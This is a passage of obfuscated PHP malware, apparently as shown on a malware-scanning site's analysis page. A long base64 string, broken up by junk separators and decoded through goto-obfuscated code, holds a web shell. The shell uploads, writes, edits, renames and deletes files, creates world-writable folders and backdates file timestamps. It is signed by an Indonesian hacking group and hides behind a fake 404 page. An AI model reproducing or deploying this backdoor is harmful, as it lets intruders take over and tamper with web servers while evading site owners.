ndG1wX25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1vdmVGaWxlIDx0LoZgJG1vdnVwZigkZmlsZVRtcCwgJGZpbGVOYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJG1vdmVGaWxlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoImxvY2F00x0LoZaW9uOiA/dXNlcjx0LoZiLiRfRx0LoZVUWyJ1c2VyIlx0LoZuIiZkaXI9Ii4kYmVuKCRnY3coKSkpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCB1cGxvYWQgZmlsZSEiOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkYmRlYygkX00x0LoZdFVFsidG9vbHMiXSkgPT00x0LoZgIm5ld2ZpbGUiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvcmx0LoZgbWV00x0LoZaG9kPSdwb3N00x0LoZJz4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCBuYW1lPSdmaWxlX25hbWUnIHN00x0LoZeWxlPSd3aWR00x0LoZaDoxMDAlOyBoZWlnaHQ6NDBweDttYXJnaW4tYm900x0LoZdG9tOjEwcHg7cGFkZGluZzoxMHB4OycgdHlwZTx0LoZndGV4dCcgcGxhY2Vob2xkZXI9J2luZGV4LnBocCcgdmFsdWU9J2luZGV4LnBocCcgcmVxdWlyZWQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgbmFtZT00x0LoZiZmlsZV9zb3VyY2UiIHN00x0LoZeWxlPSJwYWRkaW5nOjEwcHg7IiByZXF1aXJlZD4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnV00x0LoZdG9uIHNx0LoZeWxlPSd3aWR00x0LoZaDogNTAlO2hlaWdodDozMHB4Ohcmdpbi1x0LoZb3A6MTBweDsnIHR5cGU9J3N1Ym1pdCcgbmFtZT00x0LoZnY3JlYXRlX2ZpbGUnPmNyZWF00x0LoZZSBmaWxlPC9idXRx0LoZb+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L2Zvcmx0LoZ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2NyZWF00x0LoZZV9maWxlJ1x0LoZpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX25hbWUgPSAkX1BPU1RbImZpbGVfbmFtZSJdOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9zb3VyY2UgPSAkX1BPU1RbImZpbGVfc291cmNlIl00x0LoZ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjcmVhdGVfZmlsZSA9ICRmd3IoJGZvKCRmaWxlX25hbWUsICd3JyksICRmaWxlX3NvdXJjZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRjcmVhdGVfZmlsZSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGlzZigkZmlsZV9uYW1lKSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigibG9jYXRpb6IDc2VyPSIuJF9HRVRbInVzZXIiXS4iJmRpcj00x0LoZiLiRiZW4oJGdjdygpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkVycjogY2FuJ3QgY3JlYXRlIGZpbGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkVycjogY2FuJ3QgY3JlYXRlIGZpbGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZWlmKCRiZGVjKCRfR00x0LoZVUWyJ00x0LoZb29scyJdKSA9PSAibmV3ZGlyIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD00x0LoZncG9zdCcgc3R5bGU9J21hcmdpbi1ib3Rx0LoZb200x0LoZ6MHB4Oyc+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgc3R5bGU9J3dpZHRoOiAyMDBweDtoZWlnaHQ6NDBweDtwYWRkaW5nOjEwcHg7JyB00x0LoZeXBlPSdx0LoZZXh00x0LoZJyBuYW1lPSdkaXInIHBsYWNlaG9sZGVyPSdmb2xkZXIgbmFtZScgcmVxdWlyZWQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnV00x0LoZdG9uIHR5cGU9J3N1Ym1pdCcgbmFtZTx0LoZnY3JlYXRlX2Rpcic+PGkgY2xhc3M9J2ZhIGZhLWNoZXZybtcmlnaHQnPjwvaT48L2J1dHRvbj4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V00x0LoZKCRfUE9TVFsnY3JlYXRlX2RpciddKSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlyIDx0LoZgJF9QT1NUWydkaXInXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNyZWF00x0LoZZV9kaXIgPSAkbWtkKCRkaXIsIDA3NzcpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkY3JlYXRlX2Rpcikgewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGlzZCgkZGlyKSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigibG9jYXRpb246ID91c2VyPSIuJF9HRVRbInVzZXIiXS4iJmRpcj00x0LoZiLiRiZW4oJGdjdygpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkVycjogY2FuJ3QgY3JlYXRlIGRpciEiOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBjcmVhdGUgZGlyISI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9ICBlbHNlaWYoJGJkZWMoJF9HRVRbInRvb2xzIl00x0LoZpIDx0LoZ9ICJlZGlx0LoZZGlyIikgewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXIgPSAkX00x0LoZdFVFsnZmlsZSddOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD00x0LoZncG9zdCcgc3R5bGU9J21hcmdpbi1ib3R00x0LoZb200x0LoZ6MHB4Oyc+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgc3R5bGU9J3dpZHRoOiAyMDBweDtoZWlnaHQ6NDBweDtwYWRkaW5nOjEwcHg7JyB00x0LoZeXBlPSd00x0LoZZXh00x0LoZJyBuYW1lPSdkaXInIHBsYWNlaG9sZGVyPSdmb2xkZXIgbmFtZScgdmFsdWU9JyIuJGRpci4iJyByZXF1aXJlZD4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxidXR00x0LoZb24gdHlwZT00x0LoZnc3VibWl00x0LoZJyBuYW1lPSdlZGlx0LoZX2Rpcic+PGkgY2xhc3M9J2ZhIGZhLWNoZXZyb24tcmlnaHQnPjwvaT48L2J1dHRvbj4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V00x0LoZKCRfUE9TVFsnZWRpdF9kaXInXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ld19kaXIgPSAkX1BPU1RbJ2RpciddOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVuYW1lIDx0LoZgJHJubSgkZGlyLCAkbmV3X2Rpcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZW5hbWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigibG9jYXRpb2ID91c2VyPSIuJF9HRVRbInVzZXIiXS4iJmRpcj00x0LoZiLiRiZW4oJGdjdygpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJFcnI6IGNhbidx0LoZIHJlbmFtZSBkaXIhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZgZWxzZWlmKCRiZGVjKCRfRx0LoZVUWyd00x0LoZb29scyddKSA9PSAiZWRpdGZpbGUiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSAkX00x0LoZdFVFsnZmlsZSddOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD00x0LoZncG9zdCc+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgbmFtZT00x0LoZnZmlsZV9uYW1lJyBzdHlsZT00x0LoZnd2lkdGg6MTAwJTsgaGVpZ2h00x0LoZOjQwcHg7bWFyZ2luLWJvdHRvbToxMHB4O3BhZGRpbmc6MTBweDsnIHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSciLiRmaWxlLiInIHZhbHVlPSciLiRmaWxlLiInIHJlcXVpcmVkPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRleHRhcmVhIG5hbWU9ImZpbGVfc291cmNlIiBzdHlsZTx0LoZicGFkZGluZzoxMHB4OyIgcmVxdWlyZWQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRodG1zcGMoJGZndGNvKCRmaWxlKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC0x0LoZZXh00x0LoZYXJlYT4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxidXR00x0LoZb24gc3R5bGU9J3dpZHRoOiA1MCU7aGVpZ2h00x0LoZOjMwcHg7bWFyZ2luLXRvcDoxMHB4OycgdHlwZT00x0LoZnc3VibWl00x0LoZJyBuYW1lPSdlZGlx0LoZX2ZpbGUnPmVkaXQgZmlsZTwvYnVx0LoZdG9uPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9mb3JtPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydlZGl00x0LoZX2ZpbGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVfbmFtZSA9ICRfUE9TVFsnZmlsZV9uYW1lJ100x0LoZ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX3NvdXJjZSA9ICRfUE9TVFsnZmlsZV9zb3VyY2UnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZpbGVfbmFtZSA9PSAkZmlsZSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVwZGF00x0LoZZSA9ICRmd3IoJGZvKCRmaWxlX25hbWUsICd3JyksICRmaWxlX3NvdXJjZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXBkYXRlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjogP3VzZXI9Ii4kX00x0LoZdFVFsidXNlciJdLiImZGlyPSIuJGJlbigkZ2N3KCkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBlZGl00x0LoZIGZpbGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1bmwoJGZpbGUpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVwZGFx0LoZZSA9ICRmd3IoJGZvKCRmaWxlX25hbWUsICd3JyksICRmaWxlX3NvdXJjZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXBkYXRlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjogP3VzZXI9Ii4kX00x0LoZdFVFsidXNlciJdLiImZGlyPSIuJGJlbigkZ2N3KCkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBlZGl00x0LoZIGZpbGUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZWlmKCRiZGVjKCRfR00x0LoZVUWyd00x0LoZb29scyddKSA9PSAiZGVsZGlyIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXIgPSAkX00x0LoZdFVFsnZmlsZSddOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkZWxkaXIgPSAkcm1kKCRkaXIpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkZWxkaXIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjogP3VzZXI9Ii4kX00x0LoZdFVFsidXNlciJdLiImZGlyPSIuJGJlbigkZ2N3KCkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJFcnI6IGNhbidx0LoZIGRlbGV00x0LoZZSBkaXIhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkYmRlYygkX00x0LoZdFVFsndG9vbHMnXSkgPTx0LoZgImRlbGZpbGUiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpciA9ICRfR00x0LoZVUWydmaWxlJ0x0LoZ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlbGZpbGUgPSAkdW5sKCRkaXIpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkZWxmaWxlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigibG9jYXRpb246ID91c2VyPSIuJF9HRVRbInVzZXIiXS4iJmRpcj00x0LoZiLiRiZW4oJGdjdygpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBkZWxldGUgZmlsZSEiOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZWlmKCRiZGVjKCRfR00x0LoZVUWyJ00x0LoZb29scyJdKSA9PSAidGltZW1vZCIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZm5hbWUgPSAkXx0LoZdFVFsiZmlsZSJdOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsYXNx0LoZbSA9ICRkdCgiZC1tLVkgSDppOnMiLCRmaWxtdCgkZm5hbWUpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN00x0LoZeWxlPSdtYXJnaW4tYm900x0LoZdG9tOjBweDsnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGlucHVx0LoZIHN00x0LoZeWxlPSd3aWR00x0LoZaDogMjAwcHg7aGVpZ2hx0LoZOjQwcHg7cGFkZGluZzoxMHB4OycgdHlwZTx0LoZndGV4dCcgbmFtZT00x0LoZndGltZW1vZCcgcGxhY2Vob2xkZXI9JyIuJGxhc3RtLiInIHZhbHVlPSciLiRsYXN00x0LoZbS4iJyByZXF1aXJlZD4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxidXRx0LoZbgdHlwZT00x0LoZnc3VibWlx0LoZJyBuYW1lPSdzdGltZW1vZCc+PGkgY2xhc3M9J2ZhIGZhLWNoZXZyb24tcmlnaHQnPjwvaT48L2J1dHRvbj4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2Vx0LoZKCRfUE9TVFsic3RpbWVtb2QiXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ld3RpbWUgPSAkc3RydHQoJF9QT1NUWyJx0LoZaW1lbW9kIl00x0LoZpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2hhbmdlbG1vZCA9ICR00x0LoZY2goJGZuYW1lLCAkbmV3dGltZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRjaGFuZ2VsbW9kKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoImxvY2Fx0LoZaW9uOiA/dXNlcj00x0LoZiLiRfR00x0LoZVUWyJ1c2VyIl00x0LoZuIiZkaXI9Ii4kYmVuKCRnY3coKSkpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugewx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRXJyOiBjYW4ndCBjaGFuZ2UgbW9kaWZpY2F00x0LoZaW9uIHRpbWUhIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICB9DQoNCmVjaG8gJzxwIHN00x0LoZeWxlPSJtYXJnaW4tYm9x0LoZdG9tOjMwcHg7Ij4mY29weTsgJy4kZHQoIlkiKS4nICZuYnNwO1hPTE9aIC00x0LoZgSW5kb25lc2lhbiBDeWJlciBNb2JzdGVyczwvcD48L2Rpdj48L2NlbnRlcj48L2JvZHk+PC9odG1sPic7DQoNCn00x0LoZgZWxzZSB7DQogICAgaGVhZGVyKCJIVFRQLzEuMCA00x0LoZMDQgTm0x0LoZIEZvdW5kIik7DQogICAgZWNobyAnPGh00x0LoZbWw+DQogICAgPGhlYWQ+PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjwvaGVhZD4NCiAgICA8Ym9keSBiZ2NvbG9yPSJ3aGl00x0LoZZSI+DQogICAgPGNlbnRlcj48aDE+NDA00x0LoZIE5vdCBGb3VuZDwvaDE+PC9jZW500x0LoZZXI+DQogICAgPGhyPjxjZW5x0LoZZXI+bmdpbng8L2NlbnRlcj4NCiAgICA8L2JvZHk+DQogICAgPC9odG1sPgx0LoZKICAgICc7DQp9DQo=";
goto W619D;
g5ZnN: $LazQ1 = "explode"("base64_decode"("MDB4MExvWg=="), $bRKrI);
goto q1VV8;
q3NRp: "unlink"($J8mtz);
© 2023 Quttera Ltd. All rights reserved.